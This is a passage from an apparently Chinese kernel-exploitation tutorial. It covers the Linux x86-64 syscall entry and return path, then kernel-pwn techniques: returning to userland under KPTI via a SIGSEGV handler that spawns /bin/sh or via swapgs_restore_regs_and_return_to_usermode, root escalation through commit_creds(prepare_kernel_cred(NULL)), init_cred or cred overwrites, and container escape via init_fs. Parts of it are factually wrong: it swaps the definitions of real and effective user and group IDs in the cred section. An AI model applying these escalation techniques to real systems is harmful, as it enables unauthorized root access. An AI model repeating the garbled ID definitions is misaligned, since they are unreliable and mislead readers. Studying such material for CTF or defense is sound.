    ; -ENOSYS 属于系统调用的一个默认返回值。
    ; 之后把 rbp rbx rcx rdx r8 r9 r10 r11 r12 r13 r14 r15 寄存器清零。
  6. 调用 do_syscall_64 函数执行分发至具体的系统调用处理函数。

    1
    2
    3
    movq	%rax, %rdi
    movq %rsp, %rsi
    call do_syscall_64 /* returns with IRQs disabled */

    其中do_syscall_64 函数的定义如下,因此第一个参数为系统调用号,第二个参数为 pt_regs 结构体地址即当前栈顶。

    1
    __visible void do_syscall_64(unsigned long nr, struct pt_regs *regs)
do_syscall_64

do_syscall_64 函数是 Linux x86-64 平台上系统调用的核心分发和处理逻辑。这个函数的核心逻辑是根据系统调用号在 sys_call_table 中找到对应的处理函数并执行:

1
2
3
4
5
nr &= __SYSCALL_MASK;
if (likely(nr < NR_syscalls)) {
nr = array_index_nospec(nr, NR_syscalls);
regs->ax = sys_call_table[nr](regs);
}

另外 do_syscall_64 函数中还有一些与调试(ptrace)、系统调用跟踪( strace)相关的处理逻辑,不过这些并不重要。另外像栈偏移随机化的 RANDOMIZE_KSTACK_OFFSET 保护也是在这里实现的。

系统调用返回

do_syscall_64

do_syscall_64 中,系统调用完成后会进入 syscall_return_slowpath

1
2
3
4
5
void do_syscall_64(...)
{
...
syscall_return_slowpath(regs);
}

该函数主要执行一些延迟工作(如调试器事件、审计、跟踪等),并调用其他函数(如 prepare_exit_to_usermode)为最终返回用户态做好准备。

entry_SYSCALL_64 剩余部分

之后从 do_syscall_64 函数返回至 entry_SYSCALL_64 函数。entry_SYSCALL_64 函数的剩余部分主要做的工作是对上下文环境进行检查,判断是否存在异常,从而决定是采用快速返回路径syscall_return_via_sysret)还是慢速返回路径swapgs_restore_regs_and_return_to_usermode)来返回用户态。

  1. 中断返回检查,标记即将切换中断标志位(IF 位),为后续的返回路径准备。

    1
    TRACE_IRQS_IRETQ        /* we're about to change IF */
  2. 检查栈中保存的 rcx 和 rip 是否相等。正常情况下系统调用的时候会用 rcx 保存系统调用的返回地址,在初始化 pt_regs 的时候会把 rcx 放到结构体的 rip 字段上。因此如果 rcxrip 不相等说明用户态的返回地址被恶意修改,或内核在处理过程中修改了返回上下文,此时内核会选择使用更通用的 iretq 返回路径(swapgs_restore_regs_and_return_to_usermode),因为 iretq 不依赖 rcxrip 的一致性。

    1
    2
    3
    4
    5
    movq    RCX(%rsp), %rcx
    movq RIP(%rsp), %r11

    cmpq %rcx, %r11 /* SYSRET requires RCX == RIP */
    jne swapgs_restore_regs_and_return_to_usermode
  3. 检查返回地址的规范性。根据页表级数对 RCX 的高位进行掩码,判断返回地址是否 在 48 位或 57 位虚拟地址范围内,确保地址是规范的。如果地址非规范,跳转到慢速路径。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #ifdef CONFIG_X86_5LEVEL
    ALTERNATIVE "shl $(64 - 48), %rcx; sar $(64 - 48), %rcx", \
    "shl $(64 - 57), %rcx; sar $(64 - 57), %rcx", X86_FEATURE_LA57
    #else
    shl $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
    sar $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
    #endif

    /* If this changed %rcx, it was not canonical */
    cmpq %rcx, %r11
    jne swapgs_restore_regs_and_return_to_usermode
  4. 代码段选择子检查,检查栈中保存的代码段选择子(CS)是是用户态的段选择子(0x33)。

    1
    2
    cmpq    $__USER_CS, CS(%rsp)        /* CS must match SYSRET */
    jne swapgs_restore_regs_and_return_to_usermode
  5. 检查栈中保存的 r11 和 rflags 是否相等。和检查栈中保存的 rcx 和 rip 是否相等原因相同。

    1
    2
    3
    movq    R11(%rsp), %r11
    cmpq %r11, EFLAGS(%rsp) /* R11 == RFLAGS */
    jne swapgs_restore_regs_and_return_to_usermode
  6. 特殊标志位检查。检查 RFLAGS 中的 RF(恢复标志)和 TF(单步调试标志),如果设置了这些标志,sysret 无法正确处理,需要跳转到慢速路径。

    1
    2
    testq    $(X86_EFLAGS_RF|X86_EFLAGS_TF), %r11
    jnz swapgs_restore_regs_and_return_to_usermode
  7. 栈段选择子检查。检查栈段选择子(SS)是否为用户态数据段选择子(0x2b)。

    1
    2
    cmpq    $__USER_DS, SS(%rsp)        /* SS must match SYSRET */
    jne swapgs_restore_regs_and_return_to_usermode
快速返回路径:syscall_return_via_sysret

syscall_return_via_sysret 是快速返回路径的实现,通过高效的 sysret 指令从内核态返回用户态。

  1. 从栈上恢复通用寄存器。

    • pop_rdi=0RDI 寄存器不在此处恢复,因为后续切换栈到跳板栈时要用 rdi 暂时保存原本内核的栈顶。
    • skip_r11rcx=1:跳过恢复 R11RCX,因为在 entry_SYSCALL_64 的相关检查中它们已经被恢复(实际上对应的位置被 pop rsi 填充)。
    1
    POP_REGS pop_rdi=0 skip_r11rcx=1
  2. 保存旧栈指针并切换到跳板栈。

    跳板栈(trampoline stack)

    • 跳板栈是每个 CPU 专属的栈,用于返回用户态时的中间处理。
    • 切换到跳板栈有助于清理返回路径,避免使用用户态或内核态栈。
    • PER_CPU_VAR(cpu_tss_rw + TSS_sp0):指向当前 CPU 的跳板栈指针。
    1
    2
    movq	%rsp, %rdi  ; 将当前栈指针(%rsp)保存到 RDI 中,供后续切换栈时使用。
    movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp ; 切换到跳板栈
  3. 切换到用户页表。在这之前需要先将原本内核栈中保存的 rsp 和 rdi 保存到跳板栈中,因为这 rdi 寄存器在切换页表时会用到;rsp 寄存器在恢复 rdi 时会用到。

    1
    2
    3
    4
    5
    pushq	RSP-RDI(%rdi)	/* RSP */
    pushq (%rdi) /* RDI */
    SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
    popq %rdi
    popq %rsp

    对应的汇编代码为:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    push   qword ptr [rdi + 0x28]	/* RSP */
    push qword ptr [rdi] /* RDI */

    mov rdi, cr3
    or rdi,0x1000
    mov cr3, rdi

    pop rdi
    pop rsp

    提示

    关闭 KPTI 后由于内核代码会被动态补丁(patch)修改,导致页表切换代码(SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi)被跳过。

  4. 恢复 gs 寄存器并返回。

    1
    2

    USERGS_SYSRET64 ; 实际汇编为:swapgs; sysretq
慢速返回路径:swapgs_restore_regs_and_return_to_usermode
  1. 从栈上恢复通用寄存器。pop_rdi=0 表示 rdi 寄存器不恢复,因为 RDI 在后续的栈切换过程中被用作临时寄存器。

    1
    POP_REGS pop_rdi=0
  2. 保存旧栈指针并切换到跳板栈。

    1
    2
    movq	%rsp, %rdi
    movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
  3. 复制 IRET 帧到跳板栈。

    1
    2
    3
    4
    5
    pushq	6*8(%rdi)	/* SS */
    pushq 5*8(%rdi) /* RSP */
    pushq 4*8(%rdi) /* EFLAGS */
    pushq 3*8(%rdi) /* CS */
    pushq 2*8(%rdi) /* RIP */
  4. 切换到用户页表。在这之前需要先将 rdi 保存到跳板栈中,因为这 rdi 寄存器在切换页表时会用到。

    1
    2
    3
    4
    5
    6
    7
    /* Push user RDI on the trampoline stack. */
    pushq (%rdi)

    SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi

    /* Restore RDI. */
    popq %rdi

    对应的汇编代码为:

    1
    2
    3
    4
    push   rdi
    mov rdi, cr3
    or rdi,0x1000
    pop rdi

    提示

    关闭 KPTI 后由于内核代码会被动态补丁(patch)修改,导致页表切换代码(SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi)被跳过。

  5. 恢复 gs 寄存器并返回。

    1
    2
    SWAPGS	; swapgs
    INTERRUPT_RETURN ; iretq

kernel pwn 如何返回用户态

iretq + SIGSEGV

这种方式需要我们寻找一个 swapgs; iretq; 的 gadget 来返回用户空间。另外还要根据 iretq; 指令的需求设置栈顶为 trap_frame 结构来表示返回用户空间后的状态。

1
2
3
4
5
6
7
struct trap_frame {
size_t user_rip;
size_t user_cs;
size_t user_rflags;
size_t user_sp;
size_t user_ss;
} __attribute__((packed));

对于开启 KPTI 保护的内核来说,这种方式缺少页表切换操作,导致返回到用户态后用户态代码没有执行权限造成异常。

一种方法是把 get_shell 函数注册为 SIGSEGV 信号处理函数,然后再用 swapgs + iretq 的方式返回。当出现异常时会跳转到 get_shell 函数继续执行,这样就完成了用户态的返回。

1
signal(SIGSEGV, (void (*)(int)) get_shell);

上面这段代码本质就是在程序的段错误信号注册了一个 get_shell 回调函数。开启 KPIT 后 swapgs + iretq 的方式返回位切换页表,执行用户空间代码触发段错误回调 get_shell 函数。而回调 get_shell 函数前也会有系统态到用户态的切换,此时完成了页表和栈的正确切换(栈 0x10 对齐),确保执行 get_shell 函数不会出问题。

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdlib.h>
#include <signal.h>

void get_shell() {
system("/bin/sh");
}

int main() {
signal(SIGSEGV, (void (*)(int)) get_shell);
*(size_t *) 0x114514 = 0x1919810;
return 0;
}

swapgs_restore_regs_and_return_to_usermode

根据我们对 swapgs_restore_regs_and_return_to_usermode 函数的分析,忽略掉前面恢复通用寄存器以及切换到跳板栈的操作后,该函数等价于如下代码:

1
2
3
4
5
6
7
mov		rdi, cr3
or rdi, 0x1000
mov cr3, rdi
pop rax ; 根据实际情况,有的内核不需要
pop rdi
swapgs
iretq

因此我们只需要跳转到该函数恢复通用寄存器之后的代码处,并且在栈上依次设置 rax(如果有)、rditrap_frame 结构就可以实现页表切换+返回用户态。

并且对于关闭 KPTI 的情况,内核代码会被动态修改,也就是说该函数中切换页表的操作会被跳过,因此这个方法也可以完美兼容 KPTI 关闭的情况。

进程核心结构体 task_struct

在 Linux 操作系统中,task_struct 是一个关键的数据结构,用于表示进程的状态。每个进程在 Linux 内核中都有一个 task_struct 结构体实例,它包含了关于该进程的所有信息,如进程状态、堆栈、调度信息、打开的文件、信号状态等。task_struct 结构体定义在 <linux/sched.h> 头文件中。

其中在 kernel pwn 中用到的关键字段如下图所示:

task_struct.drawio

  • void* stack:这个字段指向进程的内核栈的栈顶。在 kernel pwn 中我们可以通过这个字段获取到内核栈地址,从而向内核栈喷射 ROP 实现提权。

  • struct list_head tasks:该字段是一个链表节点,用于将当前进程结构体链接到全局的进程链表中。这使得内核能够遍历所有进程。

    在 kernel pwn 中我们从全局变量 init_task 开始通过 tasks.prev 遍历 task_struct 来寻找 exp 进程对应的 task_struct

    由于新创建的进程是从 init_task.tasks.prev 插入的,因此按照 prev 方向遍历可以更快的找到我们的进程。

    在 Linux 操作系统中,init_task 是一个非常关键的结构,它是所有进程的祖先。init_task 定义了系统中第一个进程,即进程号为 0 的 swapperidle 进程。这个进程在系统启动时被创建,并作为所有后续进程的根基。它不执行任何实际的应用级任务,而是主要负责系统的调度和管理任务。

    init_task 在 Linux 内核源代码中通常是以宏的形式静态定义( 位于 linux/init_task.h)的。

  • struct mm_struct mm:指向 mm_struct 结构的指针,该结构包含进程的内存管理信息。

    • pgd_t pgd:指向该进程页全局目录(Page Global Directory)的指针(注意这是线性映射区的地址而不是物理地址),是虚拟内存地址转换中最顶层的页表。在 kernel pwn 中我们借助这个找到 PGD,进而可以解析页表实现虚拟地址到物理地址的转换。
  • pid_t pid:进程的唯一标识符,即进程ID。在 kernel pwn 中我们可以通过这个字段判断 task_struct 是否对应自身进程。

  • struct list_head ptraced:一个链表头,用于链接所有跟踪(或被该进程跟踪)的进程。在没有进程附加的时候这个字段是是空链表指向自己(注意不是指向 task_struct 起始地址)。因此在 kernel pwn 中如果我们有物理地址上的任意地址读,那么如果我们扫描物理内存找到自身进程对应的 task_struct,就可以根据这个字段计算出 task_struct 的地址(线性映射区的地址),结合物理地址上的偏移进而可以得到线性映射区的起始地址 page_offset_base

  • const struct cred __rcu *cred:指向进程的凭证结构的指针,包括 UID、GID 和其他安全相关信息。在 kernel pwn 中我们的目的就是想办法让该字段字段指向的 cred 对应的权限变成 root 权限。直接针对这个字段的操作有两种:

    • 修改 cred 指针,使其指向 init_cred

      init_cred 主要用于定义系统启动时进程的默认安全属性。在 Linux 操作系统中,init_cred 为系统初始化进程(如 init 或 systemd)提供初始的用户和组标识符,通常是 root 用户(UID 0)和 root 组(GID 0)。这允许系统初始化进程以最高权限运行,从而完成系统启动和配置任务。

    • 修改 cred 指针指向的 cred 结构体的内容,使得其中的 uidgid 等字段变为 0。

  • char comm[TASK_COMM_LEN]:进程的命令名,通常是启动进程的可执行文件名,这个字段的最大长度为 16 字节。在 kernel pwn 中,如果我们有无限次任意地址读的能力,那么我们通常使用如下代码修改这个字段,然后在内存中搜索这个字符串来定位自身进程对应的 task_struct

    1
    2
    3
    #include <sys/prctl.h>

    prctl(PR_SET_NAME, "sky123123123123");
  • struct fs_struct *fs:指向文件系统相关结构的指针,包括文件描述符表、根目录、当前工作目录等信息。在 kernel pwn 中,我们会将这个字段修改指向 init_fs 来实现 docker 逃逸。因为 init_fs 是系统初始化时使用的全局 fs_struct 实例,如果某进程的 fs_struct 被修改为 init_fs,理论上这个进程将会获得对整个宿主机文件系统的访问能力,而不再受到容器文件系统命名空间的限制,即导致容器逃逸。

Linux 权限管理

用户权限

注意

为了方便记录,用户权限和文件权限分开写了,但是用户权限部分内容依赖文件权限 SUID (Set User ID) 相关内容,需要先在文件权限部分作了解。

用户权限表示

  • UID(User ID):每个用户在 Linux 系统中的唯一标识符。超级用户(root)的 UID 为 0,普通用户的 UID 通常大于 1000。
  • GID(Group ID):用户主组 ID,GID 指定了用户默认属于哪个组。
  • Groups
    • 主组:每个用户都有一个主组,通常在创建用户时分配,与用户同名。主组的 GID 用于标记用户创建的文件和目录。
    • 辅助组:用户可以属于多个辅助组,辅助组提供额外的权限,允许用户访问和修改多个资源。通过 id 命令可以查看用户所属的所有组。

例如下面的示例:

1
2
3
4
5
/ ~ id
uid=1000(sky123) gid=1000(sky123) groups=1000(sky123),27(sudo),1001(developers)
/ ~ su
/ # id
uid=0(root) gid=0(root) groups=0(root)
  • 用户 sky123 的 UID 为 1000,主组 GID 为 1000(sky123),另外还属于 sudodevelopers 两个组。其中辅助组 sudo 赋予了该用户执行 sudo 命令的权限。
  • 切换为 root 用户后仅属于 root 组。

提示

  • Linux 系统中的 root 用户的用户 ID(UID)是 0。这个 UID 是为系统的超级用户或管理员保留的,它赋予用户对系统的完全控制权,可以无视任何权限限制(因为本身就可以修改权限配置)。
  • 如果一个用户不是 root 用户但是在 root 组(GID 为 0)那么虽然这个用户没有管理员权限,但是对于文件有额外的 root 所属组的权限。这时候就有可能通过修改属于管理员组的文件实现提权。

注意

一些定制的操作系统会有一些内核层面的安全保护可以限制 root 权限用户的行为。

相关配置文件

账户信息(/etc/passwd)

/etc/passwd 存储用户账号信息,包含用户名、UID、GID、主目录和登录 Shell。

例如:

1
sky123:x:1000:1000:Sky User,,,:/home/sky123:/bin/bash
  • sky123:用户名。
  • x:加密密码的占位符(实际存储在 /etc/shadow 中)。
  • 1000:用户的 UID。
  • 1000:用户的主组 GID。
  • Sky User,,,:用户的描述信息,可以存储用户的全名、联系信息等。
  • /home/sky123:用户的主目录。
  • /bin/bash:用户登录后使用的 Shell。

提示

如果我们有编辑 /etc/passwd 的权限,那么可以通过修改 uid 为 0 来使自身变为 root 权限。不过这个文件通常只有 root 权限的用户才能编辑。

组信息(/etc/group)

/etc/group 存储系统中所有组的信息,包括组名、GID 和组内用户列表。

例如:

1
sudo:x:27:sky123
  • sudo:组名。
  • x:密码占位符。
  • 27:GID。
  • sky123:该组内的用户。

密码相关(/etc/shadow)

/etc/shadow 存储用户的加密密码及密码相关的安全信息,只有 root 用户可以访问。

通常该文件中的条目格式如下:

1
username:$id$salt$hash:lastchg:min:max:warn:inactive:expire:reserved
  • username(用户名):表示与此密码条目关联的用户名。必须与 /etc/passwd 中的用户名一致。

  • $id$salt$hash(加密密码信息):存储加密后的密码。这个字段分为几个部分,通过 $ 分隔:

    • id :标识使用的密码哈希算法。
    • salt :随机生成的盐值,用于增加密码的随机性。
    • hash :最终的加密密码,基于用户输入密码和盐值计算得出。

    特殊情况

    • 如果是 x,表示加密密码存储在 /etc/passwd(历史遗留方式)。
    • 如果是 *,表示用户密码被禁用。
    • 如果是 !,表示用户账户被禁用。
    • 如果是 !!,表示尚未设置密码。
    • 如果为空(:),表示无需密码即可登录(危险,尽量避免)。
  • lastchg(上次修改密码的日期):用户密码上次修改的日期。表示自 1970 年 1 月 1 日以来的天数。

  • min(最小修改间隔):两次密码修改之间的最小天数,防止用户过于频繁地更改密码。

  • max(最大密码有效期)密码的最大有效期,超过这个期限,用户将被要求修改密码。

  • warn(密码过期警告时间):密码过期前,系统开始向用户发出警告的天数。

  • inactive(密码过期后的宽限时间):密码过期后,用户仍然可以登录的宽限天数。超过宽限时间后,账户将被锁定,无法登录。

  • expire(账户过期时间):如果设置了这个字段,到期后用户将无法登录。

  • reserved(保留字段):当前未使用,通常为空。

注意

现代 Linux 系统中 root 用户对应在 /etc/shadow 中的典型设置为:

1
root:*:19683:0:99999:7:::

这种配置表示 root 用户的密码被禁用,无法通过密码直接登录

工具相关(/etc/sudoers,/etc/sudoers.d/)

sudo 命令,以及如何使用 sudo。建议使用 visudo 工具进行编辑,以确保文件的正确性。

  • 示例条目:sky123 ALL=(ALL) ALL
  • 解释:允许 sky123 用户在所有主机上以所有用户身份执行所有命令。

相关命令

查看用户和组信息

  • 查看用户ID和组id username
    • 显示指定用户的 UID、主组GID 及其所属的所有组。
  • 查看用户组groups username
    • 列出用户所属的所有组,包括主组和辅助组。
  • 显示当前用户名whoami
    • 显示当前登录用户的用户名。

更改权限

  • 临时更改权限sudo command

    sudo(superuser do)允许普通用户以其他用户的安全权限,通常是超级用户(root),执行命令。sudo 为系统管理员提供了一种给予普通用户部分管理员权限的方法。

    注意

    • 我们使用 sudo command 执行 root 权限命令时要求输入的是当前用户的密码,而不是 root 用户的密码。

    • 并不是所有用户都可以使用 sudo command 执行 root 权限命令,只有在 /etc/sudoers 文件或相关配置中明确允许的用户才能使用 sudo。可以通过 sudo -l 检查当前用户是否有 sudo 权限

      1
      2
      3
      4
      5
      6
      7
      8
      / ~ sudo -l
      [sudo] password for sky123:
      Matching Defaults entries for sky123 on sky123:
      env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
      use_pty

      User sky123 may run the following commands on sky123:
      (ALL : ALL) ALL
    • sudo 命令具有密码缓存机制

      • 当你在一个新的终端或 Shell 会话中首次使用 sudo 命令时,sudo 会提示你输入密码。它通过密码验证来确认你是当前用户,并且你有权限使用 sudo
      • 输入密码后,sudo 会将这个验证状态缓存一段时间,默认情况下是 15 分钟。如果你在缓存有效期内再次运行 sudo 命令,无需再次输入密码。
      • sudo 使用 时间戳文件 来记录密码验证状态。默认情况下,这些文件存储在 /run/sudo/ts 目录中。可以使用 sudo -k 清除缓存状态。
      • linux 中每个 shell 会话会有独立的 sudo 会话状态。新开的 shell 或终端没有继承之前终端的 sudo 缓存,因此即使是同一用户也需要重新输入密码来进行验证。
  • 切换用户su [- username]

    su(substitute user或switch user)命令允许用户切换当前登录会话的用户身份。默认情况下,没有参数的 su 会尝试切换到超级用户(root)。

    注意

    • su 如果切换的目标用户需要输入目标用户的密码,除非当前用户是 root 用户

    • su 不带参数的话默认切换到 root 用户,而 root 用户通常禁用密码,也就是说直接运行 su 命令是切换不到 root 权限的

    • sudo su 的意思是以 root 权限运行 su 命令,只需要在 sudo 的时候输入当前用户密码。之后执行 su 命令的时候由于没有切换用户所以不需要输入 root 用户密码。(同理 sudo bash 也可以切换到 root 用户)

提示

susudo 命令之所以能够改变权限是因为这两个文件具有 SUID(Set User ID upon execution)权限。

1
2
3
4
/ ~ ls -l $(which su)
-rwsr-xr-x 1 root root 55680 Apr 9 2024 /usr/bin/su
/ ~ ls -l $(which sudo)
-rwsr-xr-x 1 root root 232416 Apr 4 2023 /usr/bin/sudo

用户信息管理

  • 创建用户sudo useradd -m username

    • -m:为用户创建主目录(如 /home/username)。
    • -s:指定用户的登录Shell,例如 -s /bin/bash
    • -G:将用户添加到一个或多个组,例如 -G sudo,developers
  • 修改用户密码passwd username

    • 修改用户:username 的登录密码,提示输入新密码。
  • 修改用户: sudo usermod -aG groupname username

    • -aG:将用户添加到指定组,-a 选项确保用户保留其当前的组成员身份。
    • -l newname:修改用户的用户名为 newname
    • -d new_home_directory:更改用户的主目录为 new_home_directory
  • 删除用户sudo userdel -r username

    • -r:删除用户并同时删除其主目录及关联的邮件目录。
  • 创建组sudo groupadd groupname

    • 无其他参数时,默认创建一个新组。
  • 删除组sudo groupdel groupname

    • 无其他参数时,删除指定的用户组。
  • 管理组成员sudo gpasswd -a username groupname

    • -a:将用户 username 添加到组 groupname

用户权限的内核表示

用户权限管理结构

注意到 task_struct 的源码中有如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* 进程的权限凭据信息 */

/* 调试器附加时的调试器权限凭据: */
const struct cred __rcu *ptracer_cred;
/* 用于记录当调试器(如 gdb)附加到当前进程时,调试器的凭据信息。
主要用于权限检查,确保调试器有足够的权限操作目标进程。 */

/* 目标上下文和实际主观上下文(通过写时复制机制) */
const struct cred __rcu *real_cred;
/* 指向任务的目标和真实的主观凭据,描述任务的实际身份信息。
此上下文用于其他任务操作当前任务时的权限检查,例如真实 UID、真实 GID 等。 */

/* 当前有效的(可重写的)主观任务凭据(通过写时复制机制) */
const struct cred __rcu *cred;
/* 描述当前任务的有效凭据,用于任务对其他对象执行操作时的权限检查。
通常指向与 `real_cred` 相同的上下文,但在需要临时提升权限时可以指向其他上下文。 */

这些是 kernel 用以判断一个进程权限的凭证,在 kernel 中使用 cred 结构体进行标识,对于一个进程而言应当有三个 cred

  • ptracer_cred 这个字段存储了 跟踪者(Tracer) 的凭证信息。

  • 当一个进程附加到另一个进程(如调试器附加到目标进程时),跟踪者的凭证信息被保存到这个字段。

  • 内核在 ptrace 调用时,会对 ptracer_cred 进行权限验证。

    提示

    某些反调试方法就是利用提前占用 ptracer_cred 的原理来阻止调试器(例如 gdb)附加到进程上,从而实现反调试效果。

  • real_cred客体凭证objective cred),通常是一个进程最初启动时所具有的权限。通常这个字段不会发生变化,用来记录进程原本的权限。

  • cred主体凭证subjective cred),该进程的有效 credlinux 以此作为进程权限的凭证

cred 结构体定义于内核源码 include/linux/cred.h 中,具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
/*
* 任务的安全上下文结构体
*
* 这个结构体用于描述任务(进程)的安全属性信息,包括用户 ID、组 ID、
* 权限能力(Capabilities)、密钥管理和安全模块等内容。
*
* 每个任务有两个指向安全上下文的指针:
* 1. task->real_cred: 描述任务的实际身份信息(目标上下文),
* 主要用于其他任务操作当前任务时的权限检查。
* 2. task->cred: 描述任务在执行操作时的身份信息(主观上下文),
* 用于判断任务对其他对象的操作权限。
*
* 在正常情况下,task->cred 和 task->real_cred 指向相同的上下文。
* 但在某些特定情况下(如权限临时提升),task->cred 会被切换到其他上下文。
*/

struct cred {
atomic_t usage; // 引用计数,标识当前结构体被多少任务使用

#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; // 使用该结构体的任务数量(仅用于调试)
void *put_addr; // 记录最后释放该结构体的调用地址(调试用)
unsigned magic; // 魔数,用于验证结构体状态
#define CRED_MAGIC 0x43736564 // 正常状态的魔数
#define CRED_MAGIC_DEAD 0x44656144 // 已释放状态的魔数
#endif

// 用户 ID 和组 ID
kuid_t uid; // 实际用户 ID
kgid_t gid; // 实际组 ID
kuid_t suid; // 保存的用户 ID(用于权限恢复)
kgid_t sgid; // 保存的组 ID(用于权限恢复)
kuid_t euid; // 有效用户 ID(执行操作时的权限检查依据)
kgid_t egid; // 有效组 ID(执行操作时的权限检查依据)
kuid_t fsuid; // 文件系统操作时的用户 ID
kgid_t fsgid; // 文件系统操作时的组 ID

unsigned securebits; // SUID 程序的安全标志位,用于管理权限

// 权限能力(Capabilities)
kernel_cap_t cap_inheritable; // 子进程可继承的权限
kernel_cap_t cap_permitted; // 当前进程允许的权限
kernel_cap_t cap_effective; // 当前进程实际可用的权限
kernel_cap_t cap_bset; // 能力边界集(限制权限的范围)
kernel_cap_t cap_ambient; // 环境能力集(附加到当前环境的权限)

#ifdef CONFIG_KEYS
unsigned char jit_keyring; // 默认密钥环的分配方式
struct key __rcu *session_keyring; // 继承自父进程的会话密钥环
struct key *process_keyring; // 进程独有的密钥环
struct key *thread_keyring; // 线程独有的密钥环
struct key *request_key_auth; // 进程的授权密钥
#endif

#ifdef CONFIG_SECURITY
void *security; // LSM(Linux 安全模块)的安全信息
#endif

struct user_struct *user; // 关联的实际用户信息
struct user_namespace *user_ns; // 用户命名空间,决定权限范围
struct group_info *group_info; // 辅助组信息(如用户附加的组)
struct rcu_head rcu; // 用于 RCU(Read-Copy-Update)删除操作的钩子
} __randomize_layout;

一个 cred 结构体中记载了一个进程四种不同的用户 ID

  • 有效用户 ID(uid,Effective User ID):标识进程当前正在运行时的有效用户身份,决定进程在访问资源时的权限(例如访问文件、执行系统调用等)。
  • 保存的用户 ID (suid,Saved User ID):当进程通过某些系统调用(如 setuid())切换到新的有效用户 ID 时,suid 会保存进程切换之前的 uid,用于恢复到原来的权限状态。
  • 实际用户 ID(euid,Real User ID)euid 记录了进程的“真实身份”,即启动该进程的用户。
  • 文件系统用户 ID(fsuid,File System User ID):用于文件系统权限检查的用户 ID,进程访问文件系统资源时,会根据 fsuid 执行权限检查。设置这个字段是为了允许进程在文件系统操作中使用不同的身份而不影响其他权限相关操作。

通常情况下这四个值都是相同的。

用户组 ID 同样分为四个:有效组(gid)、保存组(sgid)、真实组(egid)、文件系统组(fsgid)与上面类似。

相关系统调用

Linux 内核提供了一系列的系统调用供我们修改进程的 4 个用户 ID 和 4 个用户组 ID:

设置 uid 相关系统调用

  • **setuid(uid_t uid)**:设置进程的实际用户 ID和有效用户 ID。
  • **setgid(gid_t gid)**:设置进程的实际组 ID和有效组 ID。
  • **seteuid(uid_t euid)**:设置进程的有效用户 ID。
  • **setegid(gid_t egid)**:设置进程的有效组 ID。
  • **setresuid(uid_t ruid, uid_t euid, uid_t suid)**:同时设置实际、有效和保存的用户 ID。
  • **setresgid(gid_t rgid, gid_t egid, gid_t sgid)**:同时设置实际、有效和保存的组 ID。

获取 uid 相关系统调用

  • **getuid()**:获取当前进程的实际用户 ID。
  • **geteuid()**:获取当前进程的有效用户 ID。
  • **getgid()**:获取当前进程的实际组 ID。
  • **getegid()**:获取当前进程的有效组 ID。
  • **getresuid(uid_t *ruid, uid_t *euid, uid_t *suid)**:同时获取实际、有效和保存的用户 ID。
  • **getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid)**:同时获取实际、有效和保存的组 ID。

注意

fsuid 是一个内核空间的概念,它属于进程的内核数据结构(task_struct),并用于内核内部的权限控制。因此用户空间程序无法获取或修改 fsuid

权限修改规则

这里仅介绍用户 ID 的修改规则,转换关系如下图所示。用户组 ID 与用户 ID 的修改规则类似。

  • uideuid 有一个为 0 时都可以转换成 uid = 0 的状态,此时权限为 root 权限。
  • uideuid 都非 0 时,则此时权限为非 root 权限。

提示

从上面的规则可以看出,suid 这个字段存在感不强。个人理解这个变量是 linux 内核给我们提供的一个保存之前权限的地方。当然这里的保存需要手动 setsuid 保存。由于这个变量由内核维护,因此可以实现父子进程的传递,具有用户程序内部变量保存无法比拟的优势。

相关提权思路

commit_creds 提权

只要我们改变一个进程的 cred 结构体,就能改变其执行权限。

内核空间下面有两个函数,都位于 kernel/cred.c 中:

  • struct cred* prepare_kernel_cred(struct task_struct* daemon):该函数用以拷贝一个进程的 cred 结构体,并返回一个新的 cred 结构体,需要注意的是 daemon 参数应为有效的进程描述符地址或者 NULL 。
  • int commit_creds(struct cred *new):该函数用以将一个新的cred结构体应用到进程。

查看prepare_kernel_cred()函数源码,观察到如下逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;

new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;

kdebug("prepare_kernel_cred() alloc %p", new);

if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
...

prepare_kernel_cred() 函数中,若传入的参数为 NULL ,则会缺省使用 init 进程的 cred 作为模板进行拷贝,即可以直接获得一个标识着 root 权限的 cred 结构体。那么我们不难想到,只要我们能够在内核空间执行 commit_creds(prepare_kernel_cred(NULL)) ,那么就能够将进程的权限提升到 root。

如果进行 ROP 提权有一个难点就是寻找将 rax 赋值给 rdi 的 gadget 。可以尝试搜索 xchg rax, rdipush rax; pop rdimov rdi, rax 等 gadget 。

另外 init_cred 是在内核当中有一个特殊的 cred ,它是 init 进程的 cred ,因此其权限为 root ,且该 cred 并非是动态分配的,因此当我们泄露出内核基址之后我们也便能够获得 init_cred 的地址,因此我们就只需要执行一次 commit_creds(&init_cred) 便能完成提权。

不过有些内核中没有 init_cred(实际上多数情况是由于缺少符号找不到 init_cred,因此需要逆向分析 prepare_kernel_cred 函数来定位 init_cred)。

覆写 cred 提权

覆写 cred 有两种方式,一种是覆盖 task_structcred 指针指向 init_cred;另一种是直接覆盖 cred 结构体。

对于覆盖覆盖 cred 结构体的方式,通常来说只要我们能够把 cred 结构体的 uid 字段覆盖为 0 就可以实现提权。

文件权限

文件权限表示

普通权限

每个文件或目录的权限由三部分组成,每部分三个字符,分别代表用户其他用户的权限。权限表示如下:

  • r: 读取权限(Read),可以查看文件内容或列出目录内容。
